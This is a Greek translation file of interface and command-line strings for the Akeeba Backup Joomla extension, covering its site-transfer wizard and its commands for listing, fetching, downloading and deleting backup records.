COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE_INFO="Τα αρχεία αντιγράφου ασφαλείας μεταφέρονται σε μικρά τμήματα στον απομακρυσμένο διακομιστή. Αυτό καθορίζει το μέγεθος αυτών των τμημάτων. Πολύ μικρά μεγέθη μπορεί να προκαλέσουν μπλοκάρισμα από τον απομακρυσμένο διακομιστή, που θα σας μπερδέψει με κακόβουλο χρήστη, προκαλώντας σφάλμα μεταφόρτωσης. Πολύ μεγάλα μεγέθη μπορεί να οδηγήσουν σε σφάλμα χρονικού ορίου σε είτε στον διακομιστή προέλευσης είτε στον απομακρυσμένο, προκαλώντας εμφάνιση σφάλματος AJAX. Συνήθως, τιμές μεταξύ 5M και 20M λειτουργούν καλύτερα."
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP="Ένα πλήρες αντίγραφο ασφαλείας ολόκληρου του ιστότοπου"
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP_INFO="Βρέθηκε αντίγραφο ασφαλείας· ελήφθη στις %s"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_DIRECTORY="Κατάλογος FTP/SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_HOST="Όνομα κεντρικού υπολογιστή"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSIVE="Παθητική λειτουργία"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSWORD="Κωδικός πρόσβασης"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PORT="Θύρα"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PRIVATEKEY="Αρχείο ιδιωτικού κλειδιού SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PUBKEY="Αρχείο δημόσιου κλειδιού SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_USERNAME="Όνομα χρήστη"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_INFO="Ακολουθήστε τις οδηγίες στο βίντεο για να μεταφέρετε τον ιστότοπό σας χειροκίνητα. Πληροφορίες σχετικά με το αρχείο αντιγράφου ασφαλείας μπορούν να βρεθούν κάτω από τον σύνδεσμο βίντεο (κυλήστε προς τα κάτω)."
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_LINK="Παρακολουθήστε το βιντεοεκπαιδευτικό μάθημα"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_MULTIPART="Πρέπει να μεταφέρετε <strong>όλα</strong> τα %u αρχεία:"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL="Η URL του νέου ιστότοπού σας"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL_TIP="Εισαγάγετε τη URL του ιστότοπου στον οποίο επαναφέρετε"
COM_AKEEBABACKUP_TRANSFER_LBL_OPEN_KICKSTART_INFO="Το Kickstart θα σας επιτρέψει να εξαγάγετε το αρχείο αντιγράφου ασφαλείας και να ξεκινήσετε την επαναφορά στον απομακρυσμένο διακομιστή."
COM_AKEEBABACKUP_TRANSFER_LBL_SPACE="Περίπου %s ελεύθερος χώρος στον νέο ιστότοπό σας"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD="Μέθοδος μεταφοράς αρχείων"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTP="FTP, εγγενείς συναρτήσεις PHP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPCURL="FTP, με χρήση cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPS="FTPS, εγγενείς συναρτήσεις PHP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPSCURL="FTPS, με χρήση cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_MANUALLY="Χειροκίνητα"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTP="SFTP, εγγενής επέκταση PHP SSH2"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTPCURL="SFTP, με χρήση cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE="Λειτουργία μεταφοράς αρχείου"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_CHUNKED="Μέσω FTP / SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_INFO="Τα αρχεία αντιγράφου ασφαλείας μεταφέρονται σε μικρά τμήματα στον απομακρυσμένο διακομιστή και στη συνέχεια συναρμολογούνται σε ολόκληρα αρχεία εκεί. Αυτή η επιλογή ελέγχει τον τρόπο μεταφοράς αυτών των μικρών τμημάτων."
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_POST="Μέσω HTTP / HTTPS"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_BACKUP="Μεταφόρτωση του αρχείου αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_KICKSTART="Μεταφόρτωση Kickstart"
COM_AKEEBABACKUP_TRANSFER_LBL_VALIDATING="Επικύρωση…"
COM_AKEEBABACKUP_TRANSFER_MSG_DONE="Η μεταφόρτωση ολοκληρώθηκε!"
COM_AKEEBABACKUP_TRANSFER_MSG_FAILED="Η μεταφόρτωση του αρχείου αντιγράφου ασφαλείας απέτυχε."
COM_AKEEBABACKUP_TRANSFER_MSG_START="Προετοιμασία μεταφόρτωσης του αρχείου σας. Αυτό θα πάρει λίγο χρόνο. Παρακαλώ περιμένετε."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGFRAG="Συνέχεια μεταφόρτωσης μέρους αρχείου %s από %s. Επεξεργασία τμήματος %s. Παρακαλώ περιμένετε."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGPART="Μεταφόρτωση μέρους αρχείου %s από %s. Παρακαλώ περιμένετε."
COM_AKEEBABACKUP_TRANSFER_TITLE="Μεταφορά Αρχείου"
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_BODY="Ορισμένες από τις μεθόδους μεταφοράς που αναφέρονται παραπάνω και επισημαίνονται με &#128274; αποκλείονται από τείχος προστασίας στον διακομιστή σας. Αν τις χρησιμοποιήσετε, αυτός ο οδηγός πιθανότατα θα αποτύχει. Παρακαλώ επικοινωνήστε με τον κεντρικό υπολογιστή σας και ζητήστε τους να απενεργοποιήσουν το τείχος προστασίας ή να προσθέσουν εξαιρέσεις πριν από τη μεταφορά του ιστότοπού σας. Εναλλακτικά, παρακαλώ επιλέξτε Χειροκίνητα παραπάνω, κάντε κλικ στο Προχώρηση με επαναφορά και ακολουθήστε τις οδηγίες για χειροκίνητη μεταφορά ιστότοπου."
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_HEAD="Το τείχος προστασίας του διακομιστή αποκλείει μεταφορές αρχείων - ΑΥΤΟΣ Ο ΟΔΗΓΟΣ ΜΠΟΡΕΙ ΝΑ ΑΠΟΤΥΧΕΙ"

COM_AKEEBABACKUP_FILTER_SELECT_FROZEN="– Παγωμένο –"
COM_AKEEBABACKUP_FILTER_SELECT_PROFILEID="– Προφίλ Αντιγράφου Ασφαλείας –"

COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE="Αδυναμία φόρτωσης της μηχανής Akeeba Backup."

COM_AKEEBABACKUP_CLI_ERR_CANNOT_GENERATE_YAML="Αδυναμία δημιουργίας YAML"
COM_AKEEBABACKUP_CLI_ERR_YAML_EXTENSION_NOT_FOUND="Η εγκατάστασή σας PHP δεν διαθέτει εγκατεστημένη ή ενεργοποιημένη την επέκταση PHP YAML."
COM_AKEEBABACKUP_CLI_ERR_UNSET_TIME_LIMITS="Αδυναμία κατάργησης περιορισμών χρονικού ορίου· ίσως εμφανιστεί σφάλμα χρονικού ορίου."
COM_AKEEBABACKUP_CLI_ERR_NO_LIVE_SITE="Αυτό το σενάριο δεν μπόρεσε να εντοπίσει τη διεύθυνση URL του ζωντανού ιστότοπού σας. Παρακαλώ επισκεφθείτε τη σελίδα Πίνακα Ελέγχου του Akeeba Backup τουλάχιστον μία φορά πριν εκτελέσετε αυτό το σενάριο, ώστε αυτές οι πληροφορίες να αποθηκευτούν για χρήση από αυτό το σενάριο."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_DISABLED="Η λειτουργία αντιγράφου ασφαλείας front-end της εγκατάστασής σας Akeeba Backup είναι αυτή τη στιγμή απενεργοποιημένη. Παρακαλώ συνδεθείτε στο back-end του ιστότοπού σας ως Super Χρήστης, μεταβείτε στον Πίνακα Ελέγχου του Akeeba Backup, κάντε κλικ στο εικονίδιο Επιλογές στην επάνω δεξιά γωνία και ενεργοποιήστε τη λειτουργία αντιγράφου ασφαλείας front-end. Μην ξεχάσετε να ορίσετε επίσης μια Μυστική Λέξη!"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOSECRET="Έχετε ενεργοποιήσει τη λειτουργία αντιγράφου ασφαλείας front-end, αλλά ξεχάσατε να ορίσετε μια μυστική λέξη. Χωρίς έγκυρη μυστική λέξη, αυτό το σενάριο δεν μπορεί να συνεχιστεί. Παρακαλώ συνδεθείτε στο back-end του ιστότοπού σας ως Super Διαχειριστής, μεταβείτε στον Πίνακα Ελέγχου του Akeeba Backup, κάντε κλικ στο εικονίδιο Επιλογές στην επάνω δεξιά γωνία και ορίστε μια Μυστική Λέξη."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOMETHOD="Δεν βρέθηκε καμία υποστηριζόμενη μέθοδος για εκτέλεση της λειτουργίας αντιγράφου ασφαλείας front-end του Akeeba Backup. Παρακαλώ ελέγξτε με τον κεντρικό υπολογιστή σας ότι τουλάχιστον μία από τις παρακάτω λειτουργίες υποστηρίζεται στη ρύθμιση PHP σας:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NOMETHOD="Δεν βρέθηκε καμία υποστηριζόμενη μέθοδος για εκτέλεση της λειτουργίας ελέγχου αποτυχημένων αντιγράφων ασφαλείας front-end του Akeeba Backup. Παρακαλώ ελέγξτε με τον κεντρικό υπολογιστή σας ότι τουλάχιστον μία από τις παρακάτω λειτουργίες υποστηρίζεται στη ρύθμιση PHP σας:"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_CURL="1. Η επέκταση cURL"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_FOPEN="2. Τα περιτυλίγματα URL του fopen(), δηλαδή το allow_url_fopen είναι ενεργοποιημένο"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_METHOD_NOMETHOD="Αν καμία μέθοδος δεν είναι διαθέσιμη, δεν θα μπορείτε να δημιουργήσετε αντίγραφο ασφαλείας του ιστότοπού σας χρησιμοποιώντας αυτή την εντολή CLI."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_METHOD_NOMETHOD="Αν καμία μέθοδος δεν είναι διαθέσιμη, δεν θα μπορείτε να ελέγξετε τον ιστότοπό σας για αποτυχημένα αντίγραφα ασφαλείας χρησιμοποιώντας αυτή την εντολή CLI."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_HTTP_ERROR="Η απόπειρα αντιγράφου ασφαλείας απέτυχε με κωδικό σφάλματος HTTP %d (%s). Παρακαλώ ελέγξτε το αρχείο καταγραφής αντιγράφου ασφαλείας και το αρχείο καταγραφής σφαλμάτων του διακομιστή σας για περισσότερες πληροφορίες."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_HTTP_ERROR="Η απόπειρα ελέγχου αποτυχημένων αντιγράφων ασφαλείας απέτυχε με κωδικό σφάλματος HTTP %d (%s). Παρακαλώ ελέγξτε το αρχείο καταγραφής σφαλμάτων του διακομιστή σας για περισσότερες πληροφορίες."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NO_MESSAGE_FROM_SERVER="Η απόπειρα αντιγράφου ασφαλείας έληξε λόγω χρονικού ορίου ή προέκυψε μοιραίο σφάλμα PHP. Παρακαλώ ελέγξτε το αρχείο καταγραφής αντιγράφου ασφαλείας και το αρχείο καταγραφής σφαλμάτων του διακομιστή σας για περισσότερες πληροφορίες."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NO_MESSAGE_FROM_SERVER="Η απόπειρα ελέγχου για αποτυχημένα αντίγραφα ασφαλείας έληξε λόγω χρονικού ορίου ή προέκυψε μοιραίο σφάλμα PHP."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR_RECEIVED="Παρουσιάστηκε σφάλμα αντιγράφου ασφαλείας. Η απάντηση του διακομιστή ήταν:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_ERROR_RECEIVED="Παρουσιάστηκε σφάλμα ελέγχου αποτυχημένων αντιγράφων ασφαλείας. Η απάντηση του διακομιστή ήταν:"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR403_RECEIVED="Ο διακομιστής αρνήθηκε τη σύνδεση. Βεβαιωθείτε ότι η λειτουργία αντιγράφου ασφαλείας front-end είναι ενεργοποιημένη και υπάρχει έγκυρη μυστική λέξη."
COM_AKEEBABACKUP_CLI_ERR_SERVER_RESPONSE="Απάντηση διακομιστή:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE="Δεν μπορέσαμε να κατανοήσουμε την απάντηση του διακομιστή. Πιθανότατα έχει προκύψει σφάλμα αντιγράφου ασφαλείας. Η απάντηση του διακομιστή ήταν:"
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE="Δεν μπορέσαμε να κατανοήσουμε την απάντηση του διακομιστή. Πιθανότατα έχει προκύψει σφάλμα ελέγχου αποτυχημένων αντιγράφων ασφαλείας. Η απάντηση του διακομιστή ήταν:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE_INFO="Αν δεν βλέπετε «200 OK» στο τέλος αυτής της εξόδου, το αντίγραφο ασφαλείας έχει αποτύχει."
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE_INFO="Αν δεν βλέπετε «200 OK» στο τέλος αυτής της εξόδου, ο έλεγχος αποτυχημένων αντιγράφων ασφαλείας έχει αποτύχει."

COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_HELP="<info>%command.name%</info> θα ελέγξει για αποτυχημένες απόπειρες αντιγράφων ασφαλείας με το Akeeba Backup, χρησιμοποιώντας τη λειτουργία front-end.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_DESC="Έλεγχος για αποτυχημένα αντίγραφα ασφαλείας Akeeba Backup με τη λειτουργία front-end"

COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_HELP="<info>%command.name%</info> θα ελέγξει για αντίγραφα ασφαλείας Akeeba Backup που απέτυχαν να μεταφορτωθούν στην απομακρυσμένη αποθήκευση, χρησιμοποιώντας τη λειτουργία front-end.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_DESC="Έλεγχος για αντίγραφα ασφαλείας Akeeba Backup που απέτυχαν να μεταφορτωθούν στην απομακρυσμένη αποθήκευση, χρησιμοποιώντας τη λειτουργία front-end"

COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_HELP="<info>%command.name%</info> θα δημιουργήσει αντίγραφο ασφαλείας με το Akeeba Backup, χρησιμοποιώντας τη λειτουργία αντιγράφου ασφαλείας front-end.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_DESC="Δημιουργία αντιγράφου ασφαλείας με τη λειτουργία αντιγράφου ασφαλείας frontend του Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_OPT_PROFILE="Αριθμός προφίλ"
COM_AKEEBABACKUP_CLI_HEAD_BACKUP_ALTERNATE="Δημιουργία αντιγράφου ασφαλείας με τη λειτουργία αντιγράφου ασφαλείας frontend του Akeeba Backup"

COM_AKEEBABACKUP_CLI_HEAD_CHECK_ALTERNATE="Έλεγχος για αποτυχημένες απόπειρες αντιγράφων ασφαλείας που έγιναν με το Akeeba Backup χρησιμοποιώντας τη λειτουργία front-end"

COM_AKEEBABACKUP_CLI_LBL_UNSET_TIME_LIMITS="Κατάργηση περιορισμών χρονικού ορίου"
COM_AKEEBABACKUP_CLI_LBL_START_BACKUP_WITH_PROFILE="Έναρξη αντιγράφου ασφαλείας με προφίλ #%d"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_BACKUP="[%s] Έναρξη δημιουργίας αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_CHECK="[%s] Έναρξη ελέγχου για αποτυχημένα αντίγραφα ασφαλείας"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_UPLOADCHECK="[%s] Έναρξη ελέγχου για αποτυχημένες μεταφορτώσεις"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_RECEIVED_HTTP="[%s] Ελήφθη HTTP %d"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_NO_MESSAGE="[%s] Δεν ελήφθη κανένα μήνυμα"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_PROGRESS_RECEIVED="[%s] Ελήφθη σήμα προόδου αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_FINALISATION_RECEIVED="[%s] Ελήφθη μήνυμα οριστικοποίησης αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CHECKS_FINALISATION_RECEIVED="[%s] Ελήφθη μήνυμα οριστικοποίησης ελέγχων"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR500_RECEIVED="[%s] Ελήφθη σήμα σφάλματος"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR403_RECEIVED="[%s] Ελήφθη μήνυμα άρνησης σύνδεσης (403)"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CORRUPT="[%s] Δεν ήταν δυνατή η ανάλυση της απόκρισης διακομιστή."

COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_HEAD="Το αντίγραφο ασφαλείας ολοκληρώθηκε επιτυχώς."
COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_DETAILS="Παρακαλούμε ελέγξτε το αρχείο καταγραφής για τυχόν προειδοποιητικά μηνύματα. Εάν εντοπίσετε τέτοια μηνύματα, βεβαιωθείτε ότι το αντίγραφο ασφαλείας λειτουργεί σωστά δοκιμάζοντας την επαναφορά του σε τοπικό διακομιστή."

COM_AKEEBABACKUP_CLI_LBL_FECHECK_FINISH_HEAD="Οι έλεγχοι ολοκληρώθηκαν επιτυχώς."

COM_AKEEBABACKUP_CLI_HEAD_CHECK="Έλεγχος για αποτυχημένες απόπειρες δημιουργίας αντιγράφων ασφαλείας με το Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_HELP="<info>%command.name%</info> θα ελέγξει για αποτυχημένες απόπειρες δημιουργίας αντιγράφων ασφαλείας με το Akeeba Backup\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_DESC="Έλεγχος για αποτυχημένες απόπειρες δημιουργίας αντιγράφων ασφαλείας του Akeeba Backup"

COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD_ALTERNATE="Έλεγχος αντιγράφων ασφαλείας Akeeba Backup που απέτυχαν να μεταφορτωθούν στο απομακρυσμένο χώρο αποθήκευσης χρησιμοποιώντας τη λειτουργία εμπρόσθιου άκρου"
COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD="Έλεγχος αντιγράφων ασφαλείας Akeeba Backup που απέτυχαν να μεταφορτωθούν στο απομακρυσμένο χώρο αποθήκευσης"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_HELP="<info>%command.name%</info> θα ελέγξει για αντίγραφα ασφαλείας που έγιναν με Akeeba Backup και απέτυχαν να μεταφορτωθούν στο απομακρυσμένο χώρο αποθήκευσης.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_DESC="Έλεγχος για αντίγραφα ασφαλείας Akeeba Backup που απέτυχαν να μεταφορτωθούν"

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DELETE="Διαγραφή εγγραφής Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE_FILES="Τα αρχεία της εγγραφής αντιγράφου ασφαλείας #%d έχουν διαγραφεί."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE="Η εγγραφή αντιγράφου ασφαλείας #%d έχει διαγραφεί."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE_FILES="Δεν είναι δυνατή η διαγραφή των αρχείων της εγγραφής αντιγράφου ασφαλείας #%d: %s"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE="Δεν είναι δυνατή η διαγραφή της εγγραφής αντιγράφου ασφαλείας #%d: %s"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_HELP="<info>%command.name%</info> θα διαγράψει μια εγγραφή αντιγράφου ασφαλείας γνωστή στο Akeeba Backup, ή μόνο τα αρχεία της\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_DESC="Διαγράφει μια εγγραφή αντιγράφου ασφαλείας γνωστή στο Akeeba Backup, ή μόνο τα αρχεία της"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ID="Το αναγνωριστικό της εγγραφής αντιγράφου ασφαλείας προς διαγραφή"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ONLY_FILES="Να διαγραφούν μόνο τα αρχεία αντιγράφου ασφαλείας που είναι αποθηκευμένα στον διακομιστή του ιστοτόπου, όχι η ίδια η εγγραφή."

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DOWNLOAD="Ανάκτηση τμήματος #%d της εγγραφής Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES="Η εγγραφή αντιγράφου ασφαλείας '%s' δεν έχει διαθέσιμα αρχεία για λήψη. Μήπως τα έχετε ήδη διαγράψει;"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES_MAYBE_REMOTE="Η εγγραφή αντιγράφου ασφαλείας '%s' δεν έχει διαθέσιμα αρχεία για λήψη στον διακομιστή. Εάν είναι αποθηκευμένα απομακρυσμένα, ίσως χρειαστεί να χρησιμοποιήσετε πρώτα την εντολή fetch."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_OUT_OF_RANGE="Δεν υπάρχει τμήμα '%s' της εγγραφής αντιγράφου ασφαλείας '%s'."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_MISSING="Δεν είναι δυνατή η εύρεση του τμήματος '%s' της εγγραφής αντιγράφου ασφαλείας '%s' στον διακομιστή."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNREADABLE="Δεν είναι δυνατό το άνοιγμα του '%s' για ανάγνωση. Ελέγξτε τα δικαιώματα / ACL του αρχείου."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNWRITEABLE="Δεν είναι δυνατό το άνοιγμα του '%s' για εγγραφή. Ελέγξτε αν ο φάκελος υπάρχει και τα δικαιώματα / ACL τόσο του περιέχοντος φακέλου όσο και του αρχείου."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DOWNLOAD_DONE="Λήφθηκε το τμήμα %d της εγγραφής αντιγράφου ασφαλείας #%d στο αρχείο %s"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_HELP="<info>%command.name%</info> θα εξάγει ή θα γράψει ένα αρχείο με ένα τμήμα αρχειοθήκης αντιγράφου ασφαλείας μιας εγγραφής γνωστής στο Akeeba Backup\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_DESC="Επιστρέφει ένα τμήμα αρχειοθήκης αντιγράφου ασφαλείας για μια εγγραφή γνωστή στο Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_ID="Το αναγνωριστικό της εγγραφής αντιγράφου ασφαλείας για την ανάκτηση αρχειοθηκών"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_PART="Ο αριθμός τμήματος της αρχειοθήκης αντιγράφου ασφαλείας προς ανάκτηση"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_FILE="Διαδρομή αρχείου για εγγραφή. Θα εξαχθεί στο STDOUT αν δεν οριστεί."

COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HEAD="Ανάκτηση απομακρυσμένα αποθηκευμένων αρχείων για την εγγραφή Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_SECTION_DOWNLOADING="Λήψη αρχειοθήκης αντιγράφου ασφαλείας #%d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_PART_FRAG="Αρχείο τμήματος: %d, τμήμα αρχείου: %d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_FINISHED="Η ανάκτηση αρχείων της εγγραφής αντιγράφου ασφαλείας '%s' ολοκληρώθηκε."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_ERR_FAILED="Η ανάκτηση αρχείων της εγγραφής αντιγράφου ασφαλείας '%s' απέτυχε."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HELP="<info>%command.name%</info> θα λάβει τις αρχειοθήκες αντιγράφου ασφαλείας γνωστές στο Akeeba backup από το απομακρυσμένο χώρο αποθήκευσης πίσω στον διακομιστή.\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_DESC="Λήψη αντιγράφου ασφαλείας από τον απομακρυσμένο χώρο αποθήκευσης πίσω στον διακομιστή"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_OPT_ID="Το αναγνωριστικό της εγγραφής αντιγράφου ασφαλείας προς ανάκτηση"

COM_AKEEBABACKUP_CLI_BACKUP_INFO_HEAD="Πληροφορίες για την εγγραφή Akeeba Backup #%d"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_HELP="<info>%command.name%</info> θα εμφανίσει μια εγγραφή αντιγράφου ασφαλείας γνωστή στο Akeeba Backup\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_DESC="Εμφανίζει μια εγγραφή αντιγράφου ασφαλείας γνωστή στο Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_ID="Το αναγνωριστικό της εγγραφής αντιγράφου ασφαλείας προς εμφάνιση"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_FORMAT="Μορφή εξόδου: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_BACKUP_LIST_HEAD="Λίστα εγγραφών Akeeba Backup που ταιριάζουν με τα κριτήριά σας"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_HELP="<info>%command.name%</info> θα εμφανίσει εγγραφές αντιγράφων ασφαλείας γνωστές στο Akeeba Backup\nΧρήση: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_DESC="Εμφανίζει εγγραφές αντιγράφων ασφαλείας γνωστές στο Akeeba Backup"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FROM="Πόσες εγγραφές αντιγράφων ασφαλείας να παραλειφθούν πριν από την έναρξη της εξόδου."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_LIMIT="Μέγιστος αριθμός εγγραφών αντιγράφων ασφαλείας που θα εμφανιστούν."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FORMAT="Μορφή εξόδου: table, json, yaml, csv, count."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_DESCRIPTION="Οι εγγραφές αντιγράφων ασφαλείας που θα εμφανιστούν πρέπει να ταιριάζουν με αυτή την (μερική) περιγραφή."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_AFTER="Εμφάνιση εγγραφών αντιγράφων ασφαλείας που έγιναν μετά από αυτήν την ημερομηνία."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_BEFORE="Εμφάνιση εγγραφών αντιγράφων ασφαλείας που έγιναν πριν από αυτήν την ημερομηνία."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_ORIGIN="Εμφάνιση αντιγράφων ασφαλείας μόνο από αυτήν την προέλευση: backend, frontend, json, cli."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_PROFILE="Εμφάνιση αντιγράφων ασφαλείας που έγιναν με αυτό το προφίλ. Δώστε τον αριθμητικό αναγνωριστικό προφίλ."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_BY="Ταξινόμηση εξόδου με βάση τη δεδομένη στήλη: id, description, profile_id, backupstart"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_ORDER="Σειρά ταξινόμησης: asc, desc."

COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HEAD="Τροποποίηση εγγραφής Akeeba Backup #%d"
